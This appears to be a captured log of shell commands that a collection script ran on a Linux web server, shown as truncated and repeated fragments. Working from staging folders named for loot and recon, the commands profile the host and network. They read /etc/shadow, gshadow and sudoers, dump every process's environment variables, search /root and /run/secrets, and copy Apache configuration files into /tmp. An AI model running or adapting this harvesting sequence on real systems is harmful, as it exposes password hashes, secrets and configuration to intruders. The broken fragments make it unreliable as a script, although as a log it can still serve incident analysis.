docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; timeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep ; sort -nr ; head -200 ; mkdir -p /tmp/<REDACTED>-443/configs ; head -80 ; find /home -type f -size -256k ; find /usr/local/etc/php -type f -size -256k ; head -80 ; head -80 ; head -500 ; find /etc/apache2 -type f -size -256k ; sort -nr ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; head -400 ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; sort -u /tmp/<REDACTED>-443/.candidates ; grep -qx 543c6ce7776d222a16c598d1d1108d2de9be5a812f832a35dcaa0bc50369341b ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c2c23f0d22e8003ff9fbc30affa176dc2cb76112ead31492464fcb51fd3c48d4 ; cp -p /etc/apache2/conf-available/docker-php.conf /tmp/<REDACTED>-443/configs/0003__etc__apache2__conf-available__docker-php.conf ; cp -p /etc/apache2/conf-available/charset.conf /tmp/<REDACTED>-443/configs/0002__etc__apache2__conf-available__charset.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 96e05361253da0d9be1ec6c7c9003cbbb261ba65b659bd6e40ca0eac43093c43 ; cp -p /etc/apache2/apache2.conf /tmp/<REDACTED>-443/configs/0001__etc__apache2__apache2.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/localized-error-pages.conf /tmp/<REDACTED>-443/configs/0004__etc__apache2__conf-available__localized-error-pages.conf ; grep -qx b58e5cc37210940c8d08439feeefd17c0b7cf641bbadb04cd568b7324aa1840c ; grep -qx af15ee8478cfbd00ae1fa5091ea5f19cce29a1ce60e567579c7c3b020b332335 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/other-vhosts-access-log.conf /tmp/<REDACTED>-443/configs/0005__etc__apache2__conf-available__other-vhosts-access-log.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 86296f2324bcc27790a80c863886fffd10d7a48b28587151e541f38136055b8b ; grep -qx 86ce9176a02f929ef4abeecaf4bd841ffa92c5aba96a3a7206d48d086d746a30 ; cp -p /etc/apache2/envvars /tmp/<REDACTED>-443/configs/0008__etc__apache2__envvars ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 589e1ff2671b578ee97ea0e322a9d5337aef755dfc6868cf15d3dfad944081ce ; grep -qx f3c96a2ec95fbb3371f2c18d77366fc09b07267a156beb4870943f3f029eb3f2 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/serve-cgi-bin.conf /tmp/<REDACTED>-443/configs/0007__etc__apache2__conf-available__serve-cgi-bin.conf ; cp -p /etc/apache2/conf-available/security.conf /tmp/<REDACTED>-443/configs/0006__etc__apache2__conf-available__security.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/magic /tmp/<REDACTED>-443/configs/0009__etc__apache2__magic ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/actions.conf /tmp/<REDACTED>-443/configs/0011__etc__apache2__mods-available__actions.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c8ffcdbca84fa3e9ca0aaead34c8d091ced52b23e8bd01d20713c859b1bfc5a7 ; grep -qx c7beb28538dbcb96cd5ffa98d7b4c10b494cac4575e081ec43ea82a8dd4c2e5d ; cp -p /etc/apache2/mods-available/access_compat.load /tmp/<REDACTED>-443/configs/0010__etc__apache2__mods-available__access_compat.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx a4b933cd058939054d42b578098ae0e6be639dc997aaf302420e16c5c860ce8a ; cp -p /etc/apache2/mods-available/auth_basic.load /tmp/<REDACTED>-443/configs/0012__etc__apache2__mods-available__auth_basic.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 0b16917087731932bba3a0f0d0b39c6f1cacfe1d41991d902ebebb5ec6dee7db ; cp -p /etc/apache2/mods-available/auth_digest.load /tmp/<REDACTED>-443/configs/0013__etc__apache2__mods-available__auth_digest.load ; grep -qx 7010d97d6634dc3ead34626ec521dafd4788022fcc8884dcc0f487f7b911cb53 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/auth_form.load /tmp/<REDACTED>-443/configs/0014__etc__apache2__mods-available__auth_form.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7bca4c36d5b7b318f79593a99fe32322a19afa8a7142295fcaad27ff96a474c5 ; cp -p /etc/apache2/mods-available/authz_core.load /tmp/<REDACTED>-443/configs/0019__etc__apache2__mods-available__authz_core.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authnz_fcgi.load /tmp/<REDACTED>-443/configs/0017__etc__apache2__mods-available__authnz_fcgi.load ; grep -qx e911902e340d361e1f71465faeb9d2a5e3fb7fd88505b1c34f1caec4c5fd8017 ; cp -p /etc/apache2/mods-available/authnz_ldap.load /tmp/<REDACTED>-443/configs/0018__etc__apache2__mods-available__authnz_ldap.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 02d4948b34c8eb9e8fd73e3cda48c95fb27046130b796700a365285ba79c9796 ; grep -qx e448b675683da32700029e6f68314de99b446101e07049707dd090e6eaef7293 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 409c8e2972b8fb0aac7560cbef73787a9a0559c92d453024caab13ae3b25f19c ; cp -p /etc/apache2/mods-available/authn_dbd.load /tmp/<REDACTED>-443/configs/0015__etc__apache2__mods-available__authn_dbd.load ; cp -p /etc/apache2/mods-available/authn_dbm.load /tmp/<REDACTED>-443/configs/0016__etc__apache2__mods-available__authn_dbm.load ; grep -qx 320727f6cd3f45f66b0d5614a45dd481f470f1139ee5a00f440c7e353690a15f ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authz_dbd.load /tmp/<REDACTED>-443/configs/0020__etc__apache2__mods-available__authz_dbd.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx da5f215f80664214136546a3d596fc0b2e5087c8bf0eb0262658ffe892d1a8dd ; cp -p /etc/apache2/mods-available/authz_dbm.load /tmp/<REDACTED>-443/configs/0021__etc__apache2__mods-available__authz_dbm.load ; grep -qx d219d39b2a55db76bfd8c14ecdfe06ea40a6bbc71df2ff1a541c873384438e3e ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authz_user.load /tmp/<REDACTED>-443/configs/0022__etc__apache2__mods-available__authz_user.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 462af26b41a9459eb89fa52a4680cf6f782ab1ac390e0d40ffa979283ac43ce7 ; cp -p /etc/apache2/mods-available/brotli.load /tmp/<REDACTED>-443/configs/0023__etc__apache2__mods-available__brotli.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 481ce792fe95bbd71acf1879fa5859e8b6025b20bdea736e01a137b94b65761b ; cp -p /etc/apache2/mods-available/cache_socache.load /tmp/<REDACTED>-443/configs/0024__etc__apache2__mods-available__cache_socache.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7d47ebb6d5a15a3f76c657c726dbbfbe65d36412c8d3a3785b9e20241c50284e ; cp -p /etc/apache2/mods-available/cern_meta.load /tmp/<REDACTED>-443/configs/0025__etc__apache2__mods-available__cern_meta.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 0685a94c3eb619ff40c04223a492abac258aa1b346c81e665ac684ad1af6f768 ; cp -p /etc/apache2/mods-available/data.load /tmp/<REDACTED>-443/configs/0027__etc__apache2__mods-available__data.load ; grep -qx b1f194962c61227b8b94dad037b69b116ea9c782586e96df8cc1d338ec657e6f ; grep -qx 8232d9a40d516b1e8e3856ab13f6f502ac7639929b61692b68972f9f0f7dfeec ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/cgid.load /tmp/<REDACTED>-443/configs/0026__etc__apache2__mods-available__cgid.load ; cp -p /etc/apache2/mods-available/dav_fs.load /tmp/<REDACTED>-443/configs/0028__etc__apache2__mods-available__dav_fs.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 8eb6af17232f8bdc72f702a1f554813edc418d17c1b9c60879bf95c3f2c8a397 ; cp -p /etc/apache2/mods-available/dav_lock.load /tmp/<REDACTED>-443/configs/0029__etc__apache2__mods-available__dav_lock.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 98fc163c39b10e0dbeab9c273efe71b78f713a6997a45a10e5980aa0a972b052 ; cp -p /etc/apache2/mods-available/dbd.load /tmp/<REDACTED>-443/configs/0030__etc__apache2__mods-available__dbd.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 87210bf2b2cc8d2fc934c9537330f5ce5ccd5508ddebd002538c2e3e912cd083 ; cp -p /etc/apache2/mods-available/dir.load /tmp/<REDACTED>-443/configs/0033__etc__apache2__mods-available__dir.load ; cp -p /etc/apache2/mods-available/dir.conf /tmp/<REDACTED>-443/configs/0032__etc__apache2__mods-available__dir.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 1ec99f5ea74482ee1fbda2003453b83f81fc3a0b9a410feb40e0d29e498f8b80 ; cp -p /etc/apache2/mods-available/dialup.load /tmp/<REDACTED>-443/configs/0031__etc__apache2__mods-available__dialup.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 4a4f78ffaced05b65e09082978ea7a050f4e7106c27fe605ee98b7b1dbae8740 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e217b8984d3def11cfa84517c4a0f2174513a22dfbdd99afd8a1708ca5a4fd00 ; cp -p /etc/apache2/mods-available/file_cache.load /tmp/<REDACTED>-443/configs/0034__etc__apache2__mods-available__file_cache.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 918335d6c751a285bc7ada3c0ee54106723022c7c1ef62749bcef71796bb157d ; cp -p /etc/apache2/mods-available/filter.load /tmp/<REDACTED>-443/configs/0035__etc__apache2__mods-available__filter.load ; grep -qx 37e43a0b97d6018d342048b838ca017fd68857b4860e4a9abe9116e7f88d89d3 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/heartbeat.load /tmp/<REDACTED>-443/configs/0036__etc__apache2__mods-available__heartbeat.load ; grep -qx 2425be9c2c9ec7d3912048c16ce2e12566db476f8603f1029ffbded51f90a185 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/http2.conf /tmp/<REDACTED>-443/configs/0037__etc__apache2__mods-available__http2.conf ; cp -p /etc/apache2/mods-available/http2.load /tmp/<REDACTED>-443/configs/0038__etc__apache2__mods-available__http2.load ; grep -qx 295f89a604fcad6517013c3dcc93e59eebf749d3bdf5de31ceac34fdf7f215a5 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 005f784207278b74409bc550ff6664019f54b6fc04b8fccdba7686d1dfbf7bf7 ; cp -p /etc/apache2/mods-available/ident.load /tmp/<REDACTED>-443/configs/0039__etc__apache2__mods-available__ident.load ; grep -qx 5c9900e6d20a67c7ecee2ae515d7d7320c2c8be61a0f460f13da03ed97ce6076 ; cp -p /etc/apache2/mods-available/imagemap.load /tmp/<REDACTED>-443/configs/0040__etc__apache2__mods-available__imagemap.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx ac98898999e9be33917fb85c2c447783fe690fb2daf35961864ce12188aba992 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx aea65b1ea8d48100e7b22862c65cffad6f0835f83c1749585276c4b147e05ff4 ; cp -p /etc/apache2/mods-available/log_debug.load /tmp/<REDACTED>-443/configs/0043__etc__apache2__mods-available__log_debug.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx cff0e1248eaea7619acf2d23c20677886a8e69bf849af9693d7c4eee270a7bcc ; cp -p /etc/apache2/mods-available/lbmethod_bytraffic.load /tmp/<REDACTED>-443/configs/0041__etc__apache2__mods-available__lbmethod_bytraffic.load ; grep -qx 689069cd516b390acaa81f735be03a06d00977dc772161e0ae010a465460f16e ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/lbmethod_heartbeat.load /tmp/<REDACTED>-443/configs/0042__etc__apache2__mods-available__lbmethod_heartbeat.load ; cp -p /etc/apache2/mods-available/lua.load /tmp/<REDACTED>-443/configs/0044__etc__apache2__mods-available__lua.load ; grep -qx 827c3be42b423720a5d414fec0cd6c0cfc0055c0e90c0511829b5b423538e831 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/mpm_prefork.load /tmp/<REDACTED>-443/configs/0048__etc__apache2__mods-available__mpm_prefork.load ; grep -qx 3b5b341da5c398db85696dbac30eba03eb70a9a40c1a694c9e901767735ae2cf ; cp -p /etc/apache2/mods-available/mpm_prefork.conf /tmp/<REDACTED>-443/configs/0047__etc__apache2__mods-available__mpm_prefork.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx fc06b0badf68c82dd897441b0e39c457f3be49583f0401731bc5c9ae547b9495 ; cp -p /etc/apache2/mods-available/md.load /tmp/<REDACTED>-443/configs/0045__etc__apache2__mods-available__md.load ; cp -p /etc/apache2/mods-available/mpm_event.conf /tmp/<REDACTED>-443/configs/0046__etc__apache2__mods-available__mpm_event.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 23a180df0d1290a3068347145570eaa54bf8cb598181482e50a07a12d3edf516 ; grep -qx 48ba3d685171bbb591a5ca9210eac338369d21923a327ac211ad76955838a440 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/mpm_worker.load /tmp/<REDACTED>-443/configs/0049__etc__apache2__mods-available__mpm_worker.load ; grep -qx 3041b28664a6b7dee9e93adaf09e0d6cbbfd29016f6a634fcfa0429cba39d7be ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/negotiation.conf /tmp/<REDACTED>-443/configs/0050__etc__apache2__mods-available__negotiation.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx b549a5a8522d61b72ae6e7920cafc3680b4a25dc9a5d32485ac88c2a23726fd0 ; nohup sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; hostname ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-443 ; id ; cat ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; timeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2 ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; timeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat ; timeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; timeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /o ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; timeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do print ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; awk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c==" ; timeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; timeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; timeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" 